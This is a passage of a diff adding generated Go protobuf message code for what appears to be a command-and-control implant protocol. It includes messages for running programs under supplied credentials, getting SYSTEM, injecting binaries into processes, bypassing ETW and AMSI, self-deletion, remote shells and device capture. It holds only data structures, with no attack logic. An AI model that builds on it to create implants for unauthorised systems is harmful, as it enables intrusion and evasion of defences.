*WmiMethodRequest) GetMethodName() string { + if x != nil { + return x.MethodName + } + return "" +} + +func (x *WmiMethodRequest) GetParams() map[string]string { + if x != nil { + return x.Params + } + return nil +} + +type RunAsRequest struct { + unknownFields []byte + Username string `protobuf:"bytes,1,opt,name=username,proto3" json:"username,omitempty"` // Username to execute as + Domain string `protobuf:"bytes,2,opt,name=domain,proto3" json:"domain,omitempty"` // User domain + Password string `protobuf:"bytes,3,opt,name=password,proto3" json:"password,omitempty"` // User password + Program string `protobuf:"bytes,4,opt,name=program,proto3" json:"program,omitempty"` // Program path + Args string `protobuf:"bytes,5,opt,name=args,proto3" json:"args,omitempty"` // Program arguments (optional) + UseProfile bool `protobuf:"varint,6,opt,name=use_profile,json=useProfile,proto3" json:"useProfile,omitempty"` + Netonly bool `protobuf:"varint,7,opt,name=netonly,proto3" json:"netonly,omitempty"` // Use network credentials only (optional, default false) + UseEnv bool `protobuf:"varint,8,opt,name=use_env,json=useEnv,proto3" json:"useEnv,omitempty"` +} + +func (x *RunAsRequest) Reset() { + *x = RunAsRequest{} +} + +func (*RunAsRequest) ProtoMessage() {} + +func (x *RunAsRequest) GetUsername() string { + if x != nil { + return x.Username + } + return "" +} + +func (x *RunAsRequest) GetDomain() string { + if x != nil { + return x.Domain + } + return "" +} + +func (x *RunAsRequest) GetPassword() string { + if x != nil { + return x.Password + } + return "" +} + +func (x *RunAsRequest) GetProgram() string { + if x != nil { + return x.Program + } + return "" +} + +func (x *RunAsRequest) GetArgs() string { + if x != nil { + return x.Args + } + return "" +} + +func (x *RunAsRequest) GetUseProfile() bool { + if x != nil { + return x.UseProfile + } + return false +} + +func (x *RunAsRequest) GetNetonly() bool { + if x != nil { + return x.Netonly + } + return false +} + +func (x *RunAsRequest) GetUseEnv() bool { + if x != nil { + return x.UseEnv + } + return false +} + +type GetSystem struct { + unknownFields []byte + Bin []byte `protobuf:"bytes,1,opt,name=bin,proto3" json:"bin,omitempty"` + Pid uint32 `protobuf:"varint,2,opt,name=pid,proto3" json:"pid,omitempty"` +} + +func (x *GetSystem) Reset() { + *x = GetSystem{} +} + +func (*GetSystem) ProtoMessage() {} + +func (x *GetSystem) GetBin() []byte { + if x != nil { + return x.Bin + } + return nil +} + +func (x *GetSystem) GetPid() uint32 { + if x != nil { + return x.Pid + } + return 0 +} + +type Inject struct { + unknownFields []byte + Bin []byte `protobuf:"bytes,1,opt,name=bin,proto3" json:"bin,omitempty"` + Pid uint32 `protobuf:"varint,2,opt,name=pid,proto3" json:"pid,omitempty"` +} + +func (x *Inject) Reset() { + *x = Inject{} +} + +func (*Inject) ProtoMessage() {} + +func (x *Inject) GetBin() []byte { + if x != nil { + return x.Bin + } + return nil +} + +func (x *Inject) GetPid() uint32 { + if x != nil { + return x.Pid + } + return 0 +} + +type Pipe struct { + unknownFields []byte + Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` + Target string `protobuf:"bytes,2,opt,name=target,proto3" json:"target,omitempty"` + Data []byte `protobuf:"bytes,4,opt,name=data,proto3" json:"data,omitempty"` +} + +func (x *Pipe) Reset() { + *x = Pipe{} +} + +func (*Pipe) ProtoMessage() {} + +func (x *Pipe) GetName() string { + if x != nil { + return x.Name + } + return "" +} + +func (x *Pipe) GetTarget() string { + if x != nil { + return x.Target + } + return "" +} + +func (x *Pipe) GetData() []byte { + if x != nil { + return x.Data + } + return nil +} + +type PipeRequest struct { + unknownFields []byte + Type string `protobuf:"bytes,1,opt,name=type,proto3" json:"type,omitempty"` + Pipe *Pipe `protobuf:"bytes,2,opt,name=pipe,proto3" json:"pipe,omitempty"` +} + +func (x *PipeRequest) Reset() { + *x = PipeRequest{} +} + +func (*PipeRequest) ProtoMessage() {} + +func (x *PipeRequest) GetType() string { + if x != nil { + return x.Type + } + return "" +} + +func (x *PipeRequest) GetPipe() *Pipe { + if x != nil { + return x.Pipe + } + return nil +} + +type Switch struct { + unknownFields []byte + Urls []string `protobuf:"bytes,1,rep,name=urls,proto3" json:"urls,omitempty"` +} + +func (x *Switch) Reset() { + *x = Switch{} +} + +func (*Switch) ProtoMessage() {} + +func (x *Switch) GetUrls() []string { + if x != nil { + return x.Urls + } + return nil +} + +type TaskCtrl struct { + unknownFields []byte + TaskId uint32 `protobuf:"varint,1,opt,name=task_id,json=taskId,proto3" json:"taskId,omitempty"` + Op string `protobuf:"bytes,2,opt,name=op,proto3" json:"op,omitempty"` +} + +func (x *TaskCtrl) Reset() { + *x = TaskCtrl{} +} + +func (*TaskCtrl) ProtoMessage() {} + +func (x *TaskCtrl) GetTaskId() uint32 { + if x != nil { + return x.TaskId + } + return 0 +} + +func (x *TaskCtrl) GetOp() string { + if x != nil { + return x.Op + } + return "" +} + +type TaskInfo struct { + unknownFields []byte + TaskId uint32 `protobuf:"varint,1,opt,name=task_id,json=taskId,proto3" json:"taskId,omitempty"` + Last uint64 `protobuf:"varint,2,opt,name=last,proto3" json:"last,omitempty"` + RecvCount uint32 `protobuf:"varint,3,opt,name=recv_count,json=recvCount,proto3" json:"recvCount,omitempty"` + SendCount uint32 `protobuf:"varint,4,opt,name=send_count,json=sendCount,proto3" json:"sendCount,omitempty"` +} + +func (x *TaskInfo) Reset() { + *x = TaskInfo{} +} + +func (*TaskInfo) ProtoMessage() {} + +func (x *TaskInfo) GetTaskId() uint32 { + if x != nil { + return x.TaskId + } + return 0 +} + +func (x *TaskInfo) GetLast() uint64 { + if x != nil { + return x.Last + } + return 0 +} + +func (x *TaskInfo) GetRecvCount() uint32 { + if x != nil { + return x.RecvCount + } + return 0 +} + +func (x *TaskInfo) GetSendCount() uint32 { + if x != nil { + return x.SendCount + } + return 0 +} + +type TaskListResponse struct { + unknownFields []byte + Tasks []*TaskInfo `protobuf:"bytes,1,rep,name=tasks,proto3" json:"tasks,omitempty"` +} + +func (x *TaskListResponse) Reset() { + *x = TaskListResponse{} +} + +func (*TaskListResponse) ProtoMessage() {} + +func (x *TaskListResponse) GetTasks() []*TaskInfo { + if x != nil { + return x.Tasks + } + return nil +} + +type FFmpegRequest struct { + unknownFields []byte + Action string `protobuf:"bytes,1,opt,name=action,proto3" json:"action,omitempty"` + DeviceName string `protobuf:"bytes,2,opt,name=device_name,json=deviceName,proto3" json:"deviceName,omitempty"` + OutputFormat string `protobuf:"bytes,3,opt,name=output_format,json=outputFormat,proto3" json:"outputFormat,omitempty"` + OutputPath string `protobuf:"bytes,4,opt,name=output_path,json=outputPath,proto3" json:"outputPath,omitempty"` + Time string `protobuf:"bytes,5,opt,name=time,proto3" json:"time,omitempty"` +} + +func (x *FFmpegRequest) Reset() { + *x = FFmpegRequest{} +} + +func (*FFmpegRequest) ProtoMessage() {} + +func (x *FFmpegRequest) GetAction() string { + if x != nil { + return x.Action + } + return "" +} + +func (x *FFmpegRequest) GetDeviceName() string { + if x != nil { + return x.DeviceName + } + return "" +} + +func (x *FFmpegRequest) GetOutputFormat() string { + if x != nil { + return x.OutputFormat + } + return "" +} + +func (x *FFmpegRequest) GetOutputPath() string { + if x != nil { + return x.OutputPath + } + return "" +} + +func (x *FFmpegRequest) GetTime() string { + if x != nil { + return x.Time + } + return "" +} + +// PTY +type PtyRequest struct { + unknownFields []byte + Type string `protobuf:"bytes,1,opt,name=type,proto3" json:"type,omitempty"` // type: "start", "input", "stop" + SessionId string `protobuf:"bytes,2,opt,name=session_id,json=sessionId,proto3" json:"sessionId,omitempty"` // + Shell string `protobuf:"bytes,3,opt,name=shell,proto3" json:"shell,omitempty"` // shell type: "/bin/bash", "cmd.exe", "powershell.exe" + Cols uint32 `protobuf:"varint,4,opt,name=cols,proto3" json:"cols,omitempty"` // + Rows uint32 `protobuf:"varint,5,opt,name=rows,proto3" json:"rows,omitempty"` // + InputData []byte `protobuf:"bytes,6,opt,name=input_data,json=inputData,proto3" json:"inputData,omitempty"` // + InputText string `protobuf:"bytes,7,opt,name=input_text,json=inputText,proto3" json:"inputText,omitempty"` // + Params map[string]string `protobuf:"bytes,8,rep,name=params,proto3" json:"params,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"` // +} + +func (x *PtyRequest) Reset() { + *x = PtyRequest{} +} + +func (*PtyRequest) ProtoMessage() {} + +func (x *PtyRequest) GetType() string { + if x != nil { + return x.Type + } + return "" +} + +func (x *PtyRequest) GetSessionId() string { + if x != nil { + return x.SessionId + } + return "" +} + +func (x *PtyRequest) GetShell() string { + if x != nil { + return x.Shell + } + return "" +} + +func (x *PtyRequest) GetCols() uint32 { + if x != nil { + return x.Cols + } + return 0 +} + +func (x *PtyRequest) GetRows() uint32 { + if x != nil { + return x.Rows + } + return 0 +} + +func (x *PtyRequest) GetInputData() []byte { + if x != nil { + return x.InputData + } + return nil +} + +func (x *PtyRequest) GetInputText() string { + if x != nil { + return x.InputText + } + return "" +} + +func (x *PtyRequest) GetParams() map[string]string { + if x != nil { + return x.Params + } + return nil +} + +type PtyResponse struct { + unknownFields []byte + SessionId string `protobuf:"bytes,1,opt,name=session_id,json=sessionId,proto3" json:"sessionId,omitempty"` // Session ID + OutputData []byte `protobuf:"bytes,2,opt,name=output_data,json=outputData,proto3" json:"outputData,omitempty"` // Output data (binary) + OutputText string `protobuf:"bytes,3,opt,name=output_text,json=outputText,proto3" json:"outputText,omitempty"` // Output data (text) + Error string `protobuf:"bytes,4,opt,name=error,proto3" json:"error,omitempty"` // Error message + SessionActive bool `protobuf:"varint,5,opt,name=session_active,json=sessionActive,proto3" json:"sessionActive,omitempty"` // Whether session is still active + ActiveSessions []string `protobuf:"bytes,6,rep,name=active_sessions,json=activeSessions,proto3" json:"activeSessions,omitempty"` + Metadata map[string]string `protobuf:"bytes,7,rep,name=metadata,proto3" json:"metadata,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"` +} + +func (x *PtyResponse) Reset() { + *x = PtyResponse{} +} + +func (*PtyResponse) ProtoMessage() {} + +func (x *PtyResponse) GetSessionId() string { + if x != nil { + return x.SessionId + } + return "" +} + +func (x *PtyResponse) GetOutputData() []byte { + if x != nil { + return x.OutputData + } + return nil +} + +func (x *PtyResponse) GetOutputText() string { + if x != nil { + return x.OutputText + } + return "" +} + +func (x *PtyResponse) GetError() string { + if x != nil { + return x.Error + } + return "" +} + +func (x *PtyResponse) GetSessionActive() bool { + if x != nil { + return x.SessionActive + } + return false +} + +func (x *PtyResponse) GetActiveSessions() []string { + if x != nil { + return x.ActiveSessions + } + return nil +} + +func (x *PtyResponse) GetMetadata() map[string]string { + if x != nil { + return x.Metadata + } + return nil +} + +type CommonBody struct { + unknownFields []byte + Name string `protobuf:"bytes,1,opt,name=name,proto3" json:"name,omitempty"` + U32Array []uint32 `protobuf:"varint,2,rep,packed,name=u32_array,json=u32Array,proto3" json:"u32Array,omitempty"` + U64Array []uint64 `protobuf:"varint,4,rep,packed,name=u64_array,json=u64Array,proto3" json:"u64Array,omitempty"` + BoolArray []bool `protobuf:"varint,6,rep,packed,name=bool_array,json=boolArray,proto3" json:"boolArray,omitempty"` + StringArray []string `protobuf:"bytes,8,rep,name=string_array,json=stringArray,proto3" json:"stringArray,omitempty"` + BytesArray [][]byte `protobuf:"bytes,10,rep,name=bytes_array,json=bytesArray,proto3" json:"bytesArray,omitempty"` +} + +func (x *CommonBody) Reset() { + *x = CommonBody{} +} + +func (*CommonBody) ProtoMessage() {} + +func (x *CommonBody) GetName() string { + if x != nil { + return x.Name + } + return "" +} + +func (x *CommonBody) GetU32Array() []uint32 { + if x != nil { + return x.U32Array + } + return nil +} + +func (x *CommonBody) GetU64Array() []uint64 { + if x != nil { + return x.U64Array + } + return nil +} + +func (x *CommonBody) GetBoolArray() []bool { + if x != nil { + return x.BoolArray + } + return nil +} + +func (x *CommonBody) GetStringArray() []string { + if x != nil { + return x.StringArray + } + return nil +} + +func (x *CommonBody) GetBytesArray() [][]byte { + if x != nil { + return x.BytesArray + } + return nil +} + +type Request_ParamsEntry struct { + unknownFields []byte + Key string `protobuf:"bytes,1,opt,name=key,proto3" json:"key,omitempty"` + Value string `protobuf:"bytes,2,opt,name=value,proto3" json:"value,omitempty"` +} + +func (x *Request_ParamsEntry) Reset() { + *x = Request_ParamsEntry{} +} + +func (*Request_ParamsEntry) ProtoMessage() {} + +func (x *Request_ParamsEntry) GetKey() string { + if x != nil { + return x.Key + } + return "" +} + +func (x *Request_ParamsEntry) GetValue() string { + if x != nil { + return x.Value + } + return "" +} + +type Response_KvEntry struct { + unknownFields []byte + Key string `protobuf:"bytes,1,opt,name=key,proto3" json:"key,omitempty"` + Value string `protobuf:"bytes,2,opt,name=value,proto3" json:"value,omitempty"` +} + +func (x *Response_KvEntry) Reset() { + *x = Response_KvEntry{} +} + +func (*Response_KvEntry) ProtoMessage() {} + +func (x *Response_KvEntry) GetKey() string { + if x != nil { + return x.Key + } + return "" +} + +func (x *Response_KvEntry) GetValue() string { + if x != nil { + return x.Value + } + return "" +} + +type ExecuteBinary_ParamEntry struct { + unknownFields []byte + Key string `protobuf:"bytes,1,opt,name=key,proto3" json:"key,omitempty"` + Value string `protobuf:"bytes,2,opt,name=value,proto3" json:"value,omitempty"` +} + +func (x *ExecuteBinary_ParamEntry) Reset() { + *x = ExecuteBinary_ParamEntry{} +} + +func (*ExecuteBinary_ParamEntry) ProtoMessage() {} + +func (x *ExecuteBinary_ParamEntry) GetKey() string { + if x != nil { + return x.Key + } + return "" +} + +func (x *ExecuteBinary_ParamEntry) GetValue() string { + if x != nil { + return x.Value + } + return "" +} + +type CurlRequest_HeaderEntry struct { + unknownFields []byte + Key string `protobuf:"bytes,1,opt,name=key,proto3" json:"key,omitempty"` + Value string `protobuf:"bytes,2,opt,name=value,proto3" json:"value,omitempty"` +} + +func (x *CurlRequest_HeaderEntry) Reset() { + *x = CurlRequest_HeaderEntry{} +} + +func (*CurlRequest_HeaderEntry) ProtoMessage() {} + +func (x *CurlRequest_HeaderEntry) GetKey() string { + if x != nil { + return x.Key + } + return "" +} + +func (x *CurlRequest_HeaderEntry) GetValue() string { + if x != nil { + return x.Value + } + return "" +} + +type WmiMethodRequest_ParamsEntry struct { + unknownFields []byte + Key string `protobuf:"bytes,1,opt,name=key,proto3" json:"key,omitempty"` + Value string `protobuf:"bytes,2,opt,name=value,proto3" json:"value,omitempty"` +} + +func (x *WmiMethodRequest_ParamsEntry) Reset() { + *x = WmiMethodRequest_ParamsEntry{} +} + +func (*WmiMethodRequest_ParamsEntry) ProtoMessage() {} + +func (x *WmiMethodRequest_ParamsEntry) GetKey() string { + if x != nil { + return x.Key + } + return "" +} + +func (x *WmiMethodRequest_ParamsEntry) GetValue() string { + if x != nil { + return x.Value + } + return "" +} + +type PtyRequest_ParamsEntry struct { + unknownFields []byte + Key string `protobuf:"bytes,1,opt,name=key,proto3" json:"key,omitempty"` + Value string `protobuf:"bytes,2,opt,name=value,proto3" json:"value,omitempty"` +} + +func (x *PtyRequest_ParamsEntry) Reset() { + *x = PtyRequest_ParamsEntry{} +} + +func (*PtyRequest_ParamsEntry) ProtoMessage() {} + +func (x *PtyRequest_ParamsEntry) GetKey() string { + if x != nil { + return x.Key + } + return "" +} + +func (x *PtyRequest_ParamsEntry) GetValue() string { + if x != nil { + return x.Value + } + return "" +} + +type PtyResponse_MetadataEntry struct { + unknownFields []byte + Key string `protobuf:"bytes,1,opt,name=key,proto3" json:"key,omitempty"` + Value string `protobuf:"bytes,2,opt,name=value,proto3" json:"value,omitempty"` +} + +func (x *PtyResponse_MetadataEntry) Reset() { + *x = PtyResponse_MetadataEntry{} +} + +func (*PtyResponse_MetadataEntry) ProtoMessage() {} + +func (x *PtyResponse_MetadataEntry) GetKey() string { + if x != nil { + return x.Key + } + return "" +} + +func (x *PtyResponse_MetadataEntry) GetValue() string { + if x != nil { + return x.Value + } + return "" +} + +func (m *Ping) CloneVT() *Ping { + if m == nil { + return (*Ping)(nil) + } + r := new(Ping) + r.Nonce = m.Nonce + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *Ping) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *Register) CloneVT() *Register { + if m == nil { + return (*Register)(nil) + } + r := new(Register) + r.Name = m.Name + r.Proxy = m.Proxy + r.Timer = m.Timer.CloneVT() + r.Sysinfo = m.Sysinfo.CloneVT() + r.Secure = m.Secure.CloneVT() + if rhs := m.Module; rhs != nil { + r.Module = slices.Clone(rhs) + } + if rhs := m.Addons; rhs != nil { + r.Addons = make([]*Addon, len(rhs)) + for k, v := range rhs { + r.Addons[k] = v.CloneVT() + } + } + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *Register) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *Secure) CloneVT() *Secure { + if m == nil { + return (*Secure)(nil) + } + r := new(Secure) + r.Enable = m.Enable + r.Key = m.Key + r.Type = m.Type + r.PublicKey = m.PublicKey + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *Secure) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *KeyExchangeRequest) CloneVT() *KeyExchangeRequest { + if m == nil { + return (*KeyExchangeRequest)(nil) + } + r := new(KeyExchangeRequest) + r.PublicKey = m.PublicKey + r.Timestamp = m.Timestamp + r.Nonce = m.Nonce + if rhs := m.Signature; rhs != nil { + r.Signature = slices.Clone(rhs) + } + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *KeyExchangeRequest) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *KeyExchangeResponse) CloneVT() *KeyExchangeResponse { + if m == nil { + return (*KeyExchangeResponse)(nil) + } + r := new(KeyExchangeResponse) + r.PublicKey = m.PublicKey + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *KeyExchangeResponse) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *Init) CloneVT() *Init { + if m == nil { + return (*Init)(nil) + } + r := new(Init) + if rhs := m.Data; rhs != nil { + r.Data = slices.Clone(rhs) + } + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *Init) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *SysInfo) CloneVT() *SysInfo { + if m == nil { + return (*SysInfo)(nil) + } + r := new(SysInfo) + r.Filepath = m.Filepath + r.Workdir = m.Workdir + r.IsPrivilege = m.IsPrivilege + r.Os = m.Os.CloneVT() + r.Process = m.Process.CloneVT() + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *SysInfo) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *Suicide) CloneVT() *Suicide { + if m == nil { + return (*Suicide)(nil) + } + r := new(Suicide) + r.Type = m.Type + r.Timestamp = m.Timestamp + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *Suicide) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *Request) CloneVT() *Request { + if m == nil { + return (*Request)(nil) + } + r := new(Request) + r.Name = m.Name + r.Input = m.Input + if rhs := m.Args; rhs != nil { + r.Args = slices.Clone(rhs) + } + if rhs := m.Params; rhs != nil { + r.Params = maps.Clone(rhs) + } + if rhs := m.Bin; rhs != nil { + r.Bin = slices.Clone(rhs) + } + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *Request) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *Response) CloneVT() *Response { + if m == nil { + return (*Response)(nil) + } + r := new(Response) + r.Output = m.Output + r.Error = m.Error + if rhs := m.Kv; rhs != nil { + r.Kv = maps.Clone(rhs) + } + if rhs := m.Array; rhs != nil { + r.Array = slices.Clone(rhs) + } + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *Response) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *BypassRequest) CloneVT() *BypassRequest { + if m == nil { + return (*BypassRequest)(nil) + } + r := new(BypassRequest) + r.ETW = m.ETW + r.AMSI = m.AMSI + r.BlockDll = m.BlockDll + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *BypassRequest) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *NetInterface) CloneVT() *NetInterface { + if m == nil { + return (*NetInterface)(nil) + } + r := new(NetInterface) + r.Index = m.Index + r.Name = m.Name + r.Mac = m.Mac + if rhs := m.IpAddresses; rhs != nil { + r.IpAddresses = slices.Clone(rhs) + } + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *NetInterface) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *SockTabEntry) CloneVT() *SockTabEntry { + if m == nil { + return (*SockTabEntry)(nil) + } + r := new(SockTabEntry) + r.LocalAddr = m.LocalAddr + r.RemoteAddr = m.RemoteAddr + r.SkState = m.SkState + r.Pid = m.Pid + r.Protocol = m.Protocol + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *SockTabEntry) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *NetstatResponse) CloneVT() *NetstatResponse { + if m == nil { + return (*NetstatResponse)(nil) + } + r := new(NetstatResponse) + if rhs := m.Socks; rhs != nil { + r.Socks = make([]*SockTabEntry, len(rhs)) + for k, v := range rhs { + r.Socks[k] = v.CloneVT() + } + } + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *NetstatResponse) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *Block) CloneVT() *Block { + if m == nil { + return (*Block)(nil) + } + r := new(Block) + r.BlockId = m.BlockId + r.End = m.End + if rhs := m.Content; rhs != nil { + r.Content = slices.Clone(rhs) + } + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *Block) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *ACK) CloneVT() *ACK { + if m == nil { + return (*ACK)(nil) + } + r := new(ACK) + r.Id = m.Id + r.Success = m.Success + r.End = m.End + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *ACK) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *Os) CloneVT() *Os { + if m == nil { + return (*Os)(nil) + } + r := new(Os) + r.Name = m.Name + r.Version = m.Version + r.Release = m.Release + r.Arch = m.Arch + r.Username = m.Username + r.Hostname = m.Hostname + r.Locale = m.Locale + if rhs := m.ClrVersion; rhs != nil { + r.ClrVersion = slices.Clone(rhs) + } + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *Os) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *Process) CloneVT() *Process { + if m == nil { + return (*Process)(nil) + } + r := new(Process) + r.Name = m.Name + r.Pid = m.Pid + r.Ppid = m.Ppid + r.Owner = m.Owner + r.Arch = m.Arch + r.Path = m.Path + r.Args = m.Args + r.Uid = m.Uid + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *Process) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *Timer) CloneVT() *Timer { + if m == nil { + return (*Timer)(nil) + } + r := new(Timer) + r.Expression = m.Expression + r.Jitter = m.Jitter + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *Timer) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *FileInfo) CloneVT() *FileInfo { + if m == nil { + return (*FileInfo)(nil) + } + r := new(FileInfo) + r.Name = m.Name + r.IsDir = m.IsDir + r.Size = m.Size + r.ModTime = m.ModTime + r.Mode = m.Mode + r.Link = m.Link + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *FileInfo) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *SacrificeProcess) CloneVT() *SacrificeProcess { + if m == nil { + return (*SacrificeProcess)(nil) + } + r := new(SacrificeProcess) + r.Hidden = m.Hidden + r.BlockDll = m.BlockDll + r.Etw = m.Etw + r.Ppid = m.Ppid + r.Argue = m.Argue + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *SacrificeProcess) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *LsResponse) CloneVT() *LsResponse { + if m == nil { + return (*LsResponse)(nil) + } + r := new(LsResponse) + r.Path = m.Path + r.Exists = m.Exists + if rhs := m.Files; rhs != nil { + r.Files = make([]*FileInfo, len(rhs)) + for k, v := range rhs { + r.Files[k] = v.CloneVT() + } + } + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *LsResponse) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *DriveInfo) CloneVT() *DriveInfo { + if m == nil { + return (*DriveInfo)(nil) + } + r := new(DriveInfo) + r.Path = m.Path + r.DriveType = m.DriveType + r.TotalSize = m.TotalSize + r.FreeSize = m.FreeSize + r.FileSystem = m.FileSystem + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *DriveInfo) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *EnumDriversResponse) CloneVT() *EnumDriversResponse { + if m == nil { + return (*EnumDriversResponse)(nil) + } + r := new(EnumDriversResponse) + if rhs := m.Drives; rhs != nil { + r.Drives = make([]*DriveInfo, len(rhs)) + for k, v := range rhs { + r.Drives[k] = v.CloneVT() + } + } + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *EnumDriversResponse) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *PsResponse) CloneVT() *PsResponse { + if m == nil { + return (*PsResponse)(nil) + } + r := new(PsResponse) + if rhs := m.Processes; rhs != nil { + r.Processes = make([]*Process, len(rhs)) + for k, v := range rhs { + r.Processes[k] = v.CloneVT() + } + } + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *PsResponse) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *ExecRequest) CloneVT() *ExecRequest { + if m == nil { + return (*ExecRequest)(nil) + } + r := new(ExecRequest) + r.Path = m.Path + r.Output = m.Output + r.Singleton = m.Singleton + r.Realtime = m.Realtime + r.Ppid = m.Ppid + if rhs := m.Args; rhs != nil { + r.Args = slices.Clone(rhs) + } + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *ExecRequest) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *ExecResponse) CloneVT() *ExecResponse { + if m == nil { + return (*ExecResponse)(nil) + } + r := new(ExecResponse) + r.StatusCode = m.StatusCode + r.Pid = m.Pid + r.End = m.End + if rhs := m.Stdout; rhs != nil { + r.Stdout = slices.Clone(rhs) + } + if rhs := m.Stderr; rhs != nil { + r.Stderr = slices.Clone(rhs) + } + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *ExecResponse) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *BinaryResponse) CloneVT() *BinaryResponse { + if m == nil { + return (*BinaryResponse)(nil) + } + r := new(BinaryResponse) + r.Err = m.Err + r.Status = m.Status + if rhs := m.Data; rhs != nil { + r.Data = slices.Clone(rhs) + } + if rhs := m.Message; rhs != nil { + r.Message = slices.Clone(rhs) + } + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *BinaryResponse) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *Modules) CloneVT() *Modules { + if m == nil { + return (*Modules)(nil) + } + r := new(Modules) + if rhs := m.Modules; rhs != nil { + r.Modules = slices.Clone(rhs) + } + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *Modules) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *Addons) CloneVT() *Addons { + if m == nil { + return (*Addons)(nil) + } + r := new(Addons) + if rhs := m.Addons; rhs != nil { + r.Addons = make([]*Addon, len(rhs)) + for k, v := range rhs { + r.Addons[k] = v.CloneVT() + } + } + if len(m.unknownFields) > 0 { + r.unknownFields = slices.Clone(m.unknownFields) + } + return r +} + +func (m *Addons) CloneMessageVT() protobuf_go_lite.CloneMessage { + return m.CloneVT() +} + +func (m *Addon) CloneVT() *Addon { + if m == nil { + return (*Addon)(nil) + } + r := new(Addon) + r.Name = m.Name + r.Type = m.Type + r.Depend = m.Depend + if len(m.unknownFields) > 0 { + r.unknownFields = 